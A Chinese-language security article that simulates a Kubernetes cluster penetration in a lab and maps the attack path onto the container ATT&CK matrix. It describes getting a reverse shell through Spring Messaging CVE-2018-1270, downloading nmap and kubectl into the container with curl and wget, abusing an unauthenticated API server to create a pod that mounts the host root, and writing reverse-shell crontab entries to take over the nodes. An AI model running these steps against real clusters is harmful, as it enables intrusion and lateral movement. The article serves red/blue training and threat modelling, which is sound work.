云原生技术已经变得无处不在,各种规模的企业都在进行数字化转型、重新设计应用程序和业务流程,以提高效率速度。应运而生的K8s成为帮助企业更好地拥抱云原生的容器编排技术之一。在构建安全解决方案时,考虑针对此类环境的独特安全威胁变得至关重要。容器ATT&CK对针对云原生环境下的安全威胁有了较为全面的覆盖。在基于主机ATT&CK的经验之上,容器ATT&CK也能很好地应用于评估攻防能力覆盖领域。
本文从容器ATT&CK矩阵的背景出发,然后模拟K8s渗透实验,最后从容器ATT&CK复盘渗透路线,通过实践展现了容器ATT&CK矩阵在攻防对抗中的效用。
ATT&CK(Adversarial Tactics,Techniques,and Common Knowledge)是一个攻击行为知识库和威胁建模模型,它包含众多威胁组织及其使用的工具和攻击技术。ATT&CK矩阵随着攻击技术的增加而不断完善,截止目前,ATT&CK已增加了容器矩阵的内容。
ATT&CK容器矩阵涵盖了编排层(例如Kubernets)和容器层(例如Docker)的攻击行为,还包括了一系列与容器相关的恶意软件。随着K8s采用的增长,攻击面显著扩大,K8s的复杂性和缺乏适当的安全控制使得K8s集群中的容器成为众矢之的。对于企业,利用容器ATT&CK模拟红蓝对抗,有助于了解K8s中的安全风险和关键攻击媒介,并且基于此有助于制定正确的检测和缓解策略来应对这些风险,提供全面的保护。
在红蓝对抗中,红方可以根据ATT&CK所包含的技战术找到K8s集群的薄弱点进行渗透,可以对ATT&CK涉及的攻击面逐一测试。而蓝方可以根据攻击反馈的结果结合ATT&CK框架涉及的技战术查找问题,进而确定攻击技术和己方存在的问题。
本章节的主要内容是在较为理想的环境下模拟渗透K8s集群,并结合容器ATT&CK框架复盘模拟攻击的路线。
一个集群包含三个节点
lK8s-master 192.168.77.120
lK8s-node1 192.168.77.127
lK8s-node2 192.168.77.125
攻击测试主机
Kali 192.168.77.129
漏洞环境准备:
创建deployment,编写文件CVE-2018-1270.yaml如下所示:
若外部主机需要访问该应用,则运维人员需要创建service,并暴露端口;所编写的rce-service.yaml如下所示:
在master主机上分别执行:
Kubectl create –f cve-2018-1270.yaml
Kubectl create –f rce-service.yaml
执行kubectl get services可以看到,成功创建spring-messaging-rce微服务并对外暴露30020端口。
假如攻击者收集资产发现了暴露在外的微服务端口30020,并访问断定其可能存在Spring Messaging远程命令执行漏洞。
spring messaging为spring框架提供消息支持,其上层协议是STOMP,底层通信基于SockJS,在spring messaging中,其允许客户端订阅消息,并使用selector过滤消息。selector用SpEL表达式编写,并使用Standardeva luationContext解析,造成命令执行漏洞。
Spring Java Framework < 5.0
在kali攻击机上执行准备好的POC,POC中添加目标主机的URL以及回连的攻击机IP,如下图所示:
在kali上监听8282端口并执行POC,成功反弹shell:
反弹得到shell后,判断所处的环境是否为容器内。
查看当前的服务器用户。
执行uname -a查看内核信息。
进一步判断所处的环境是否为容器。
执行ls /.dockerenv查看,存在/.dockerenv文件。
执行df –h / | grep overlay查看,overlay是docker容器根分区专用的文件系统类型。
执行ps aux查看当前环境内的进程数以及进程PID为1的进程,可以看到进程数量很少并且进程PID为1的进程不为init或systemed。
执行which sudo查看常用工具sudo是否存在,显然sudo是不存在的。
执行ip addr查看网卡信息。
通过以上步骤可以判断所处的环境是否在容器内。
查看容器内是否挂载了docker socket,如果挂载了docker socket,那么可以逃逸到宿主机。
局域网地址范围分三类,以下IP段为内网IP段:
lC类:192.168.0.0-192.168.255.255
lB类:172.16.0.0-172.31.255.255
lA类:10.0.0.0-10.255.255.255
由于容器是出网的,故我们可以通过下载nmap探测整个集群的内网存活主机。
通过以下命令下载编译好的nmap工具:
curl–Ohttps://raw.githubusercontent.com/andrew-d/static-binaries/master/binaries/linux/x86_64/nmap |
探测全部网段的话花费的时间较长,这里直接探测77网段。
对77网段进行探测,执行命令./nmap -sn -PE -T4 192.168.77.0/24,成功扫描到集群内的三台主机节点,并且可以看到master节点的IP为192.168.77.120。
对10.244.0.0/16进行网段扫描,扫描结果如下:
可以看到各个IP所对应的微服务域名。
扫描集群内组件开放的默认端口。使用nmap扫描主机,探测端口开放。由于已经知道192.168.77.120是master节点,所以只需扫描该IP开放的端口。
首先扫描组件的默认端口8080、6443、2379、2575、10250和10256,扫描结果如下:
Master节点开放了2379、6443、8080、10250和10256端口。
暴力一点也可以通过扫描master节点1-65536开放的端口,确定master节点开放的所有端口,包括集群对外开放的微服务,进而通过其他的微服务寻找脆弱点,入侵微服务所在的pod,进而入侵宿主机。
扫描得到集群组件开放的端口情况后,可以进一步利用。
可以利用的集群组件以及对应的端口如下表所示。
组件名称 | 组件介绍 | 端口号 |
API-Server | 提供资源操作的唯一入口,协调各组件并提供认证、授权、访问控制、API注册和发现等机制 | 8080/6443 |
Kubelet | 直接跟容器引擎交互实现容器的生命周期管理 | 10250 |
Etcd | 键值对数据库,储存k8s集群所有的重要信息 | 2379 |
Docker Remote API | 主要用于远程访问docker守护进程从而下达指令 | 2375 |
Kube-proxy | 负责写入规则至IPTABLES、IPVS实现服务映射访问 | 10256 |
在K8s集群里8080端口是提供API Server服务的,可以通过web访问,并且可以通过kubectl客户端进行调用。由于没有进行合理的配置权限验证,可以通过利用这个端口操纵K8s集群的资源。
在获取的shell的容器内下载kubectl客户端,执行如下命令:
wget http://x.x.x.x/kubernetes-client-linux-amd64.tar.gz tar -zxvf kubernetes-client-linux-amd64.tar.gz cd kubernetes/client/bin chmod +x ./kubectl mv ./kubectl /usr/local/bin/kubectl |
之后查看kubectl的版本信息,安装成功。
因为K8s的代理权限配置不当,通过访问API Server可以访问该k8s集群的一切资源,以下是两种影响程度较大的利用方式。
这里选择第二种方式。
在本地创建一个标准文件myapp.yaml,基础镜像“nginix”挂载宿主机/mnt文件夹
通过容器内的kubectl客户端发送创建容器的请求。
查看创建的pod。
进入pod,向容器的/mnt/etc/crontab写入反弹shell的定时任务,由于在创建容器时宿主机的根目录被挂载到了容器的/mnt目录下,所以可以直接影响宿主机的crontab。
在攻击机上监听8888端口,等待反弹的shell。
成功反弹得到k8s-node2节点的shell。
要进一步获取到主节点的shell,则可以从这两点考虑,一是主节点可被调度,允许在主节点上部署pod;二是主节点不可被调度,但是主节点上已经存在之前部署好的pod未被驱逐,且其中某个pod存在逃逸风险;三是在已经获取的节点的shell基础上,在K8s的环境外存在某个漏洞。
集群内的污点类型
NoSchedule:K8s节点上添加这个污点类型,新的不能容忍的pod不能再调度过来,但是原来运行在此节点的pod不受影响。
NoExecute:K8s节点上添加这个污点类型,新的不能容忍的pod不能调度过来,原来运行在此节点的pod也会被驱逐。
PreferNoSchedule:pod会尝试将pod分配到该节点。
查看k8s-master的节点情况,节点被设置了不可调度,如下图所示。
于是取消k8s-master节点的不可调度。
按照获取k8s-node2节点的shell的方法,获取k8s-master的shell也如法炮制。先创建一个调度在k8s-master节点的并且挂载宿主机根目录的pod,再进入pod内反弹宿主机的shell,结果如下图所示。
如此便获取到主节点的shell。
如果想要进一步横向渗透到k8s-node1的主机,只需照猫画虎创建逃逸容器逃逸到宿主机。
模拟K8s集群渗透结束后,让我们从攻击者的角度出发复盘攻击路线,采用的技战术与ATT&CK框架映射起来。
模拟的K8s渗透路线其实十分简单。
首先攻击者发现K8s暴露在外的微服务开始渗透,利用容器内的应用漏洞入侵并成功获取到容器的shell
然后探测内网环境,进行Cluster内网的扫描,探测存活主机和存活主机开放的端口,以此可以确定K8s集群对外暴露的微服务。并且扫描可以得到POD的IP,条件允许的话可以直接在容器内利用,因为有些POD是不对暴露端口的。
通过扫描开放的组件的默认端口,进而发现K8s的未授权访问,在获取到shell的容器内利用kubectl客户端操纵K8s资源
利用K8s的未授权访问创建后门容器,挂载宿主机目录,并向宿主机目录写入定时的反弹shell任务,逃逸到宿主机。
之后进行横向移动,也是通过挂载目录逃逸到宿主机完成主机的横向移动。
最后利用K8s cronjob进行持久化控制。
将以上的攻击路线映射到容器ATT&CK框架,如下图所示。
通过上图可以直观明了地看到整模拟攻击的路线,以及所用到的攻击技术。并且从攻击技术映射到ATT&CK框架我们可以得知,ATT&CK并不是按照任何线性顺序排列的,整个渗透过程并不是从右到左的按部就班,在整个渗透路线中的某个阶段,也并不单一的局限于一个攻击技术。
由此看来,ATT&CK框架对于攻击者来说就像是一张内容详实可靠的地图,在这张地图上地标准确,并且通往目标的路有很多,总有一条适合。
在针对传统主机环境的渗透测试中,通常以Web服务为突破口,成功获得Webshell后,还可能会进行权限提升和横向移动,最后,可能会对目标实施权限维持。如果目标位于域内,我们通常会尝试拿下域控制器,从而实现事半功倍的效果。Kubernetes集群与域环境在一定程度上具有相似性。